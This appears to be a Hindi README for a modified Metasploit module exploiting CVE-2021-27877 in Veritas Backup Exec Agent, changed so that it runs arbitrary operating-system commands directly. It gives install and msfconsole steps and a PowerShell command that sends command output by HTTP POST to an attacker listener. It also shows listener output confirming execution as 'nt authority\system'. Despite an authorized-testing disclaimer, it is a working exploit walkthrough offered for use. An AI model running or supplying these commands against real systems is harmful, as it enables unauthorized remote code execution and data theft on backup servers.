
CVE-2021-27877 के लिए Rapid7 Metasploit मॉड्यूल का एक संशोधित संस्करण जो विश्वसनीय भेद्यता सत्यापन के लिए सीधे कमांड निष्पादन का समर्थन करता है। इसमें एक्सप्लॉइट वर्कफ़्लो, मॉड्यूल संशोधनों और उपयोग उदाहरणों की व्याख्या करने वाला दस्तावेज़ीकरण शामिल है।
इस रिपॉजिटरी में Veritas Backup Exec Agent को प्रभावित करने वाले CVE-2021-27877 के लिए मूल Rapid7 Metasploit मॉड्यूल का एक संशोधित संस्करण शामिल है।
मेरे परीक्षण के दौरान, मूल Metasploit मॉड्यूल ने लक्ष्य को सफलतापूर्वक कमजोर के रूप में पहचान लिया, लेकिन पेलोड डिलीवरी चरण असफल होने के कारण सत्र स्थापित करने में लगातार विफल रहा। हालांकि, मॉड्यूल के विश्लेषण से पता चला कि प्रमाणीकरण और अंतर्निहित कमांड निष्पादन कार्यक्षमता सही ढंग से काम कर रही थी।
भेद्यता सत्यापन को सरल बनाने के लिए, मैंने मॉड्यूल को संशोधित किया ताकि पेलोड अपलोड और निष्पादित करने के बजाय, यह कमजोर NDMP कमांड निष्पादन कार्यक्षमता के माध्यम से सीधे उपयोगकर्ता द्वारा प्रदान किए गए ऑपरेटिंग सिस्टम कमांड को निष्पादित करे। इससे रिवर्स शेल या पेलोड स्टेजिंग पर निर्भर हुए बिना रिमोट कोड निष्पादन की पुष्टि करना आसान हो जाता है।
अस्वीकरण: यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके आप मालिक हैं या जिनका मूल्यांकन करने की आपको स्पष्ट अनुमति है।
नोट: परीक्षण के दौरान उपयोग किए गए वातावरण की सुरक्षा के लिए, इस रिपॉजिटरी में सभी IP पतों को गुमनाम कर दिया गया है। उदाहरणों में,
192.168.x.xलक्ष्य होस्ट को दर्शाता है, जबकि192.168.y.yहमलावर सिस्टम या लिसनर को दर्शाता है। ये प्रतिस्थापन प्रूफ ऑफ कॉन्सेप्ट की कार्यक्षमता को प्रभावित नहीं करते हैं।
मूल Rapid7 मॉड्यूल की तुलना में, निम्नलिखित संशोधन किए गए हैं:
COMMAND रनटाइम विकल्प जोड़ा गया।संशोधित मॉड्यूल को अपनी स्थानीय Metasploit मॉड्यूल निर्देशिका में कॉपी करें।
cp beagent_sha_auth_rce_custom.rb /usr/share/metasploit-framework/modules/exploits/multi/veritas/
Metasploit प्रारंभ (या पुनरारंभ) करें और स्थानीय मॉड्यूल पुनः लोड करें:
msfconsole
reload_all
मॉड्यूल चलाने से पहले, एक HTTP लिसनर (या कोई भी वेब सर्वर जो HTTP POST अनुरोध प्राप्त करने और प्रदर्शित करने में सक्षम हो) प्रारंभ करें। यह लिसनर लक्ष्य पर निष्पादित कमांड के आउटपुट को प्राप्त करेगा।
उदाहरण के लिए, आप एक कस्टम रिक्वेस्ट हैंडलर के साथ एक साधारण Python HTTP सर्वर, nc, या अपनी पसंद का कोई भी HTTP लिसनर उपयोग कर सकते हैं।
मॉड्यूल लोड करें:
use exploit/multi/veritas/beagent_sha_auth_rce_custom
आवश्यक विकल्प कॉन्फ़िगर करें:
set RHOSTS 192.168.x.x
set RPORT 10000
set COMMAND powershell -Command "$output = whoami; Invoke-WebRequest -Uri 'http://192.168.y.y:8080/' -Method POST -Body $output"
run
COMMAND विकल्प लक्ष्य पर निष्पादित करने के लिए आपकी इच्छित किसी भी कमांड को स्वीकार करता है।
यह मॉड्यूल एक एकल कमांड निष्पादित करने के लिए डिज़ाइन किया गया है और स्वचालित रूप से कमांड आउटपुट वापस नहीं करता।
आउटपुट प्राप्त करने के लिए, अपने कमांड के भीतर एक उपयुक्त कॉलबैक तंत्र का उपयोग करें (उदाहरण के लिए, HTTP POST अनुरोध या कोई अन्य आउटबाउंड चैनल) और अपने लिसनर की निगरानी करें।
लिसनर आउटपुट का उदाहरण:
Listening on 0.0.0.0 8080
Connection received on 192.168.x.x 26006
POST / HTTP/ 1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShe11/5.1.14393.9234
Content-Type: application/x-www-form-urlencoded
Host: 192.168.y.y:8080
Content-Length: 19
Expect: 100-continue
Connection: Keep-Alive
nt authority\system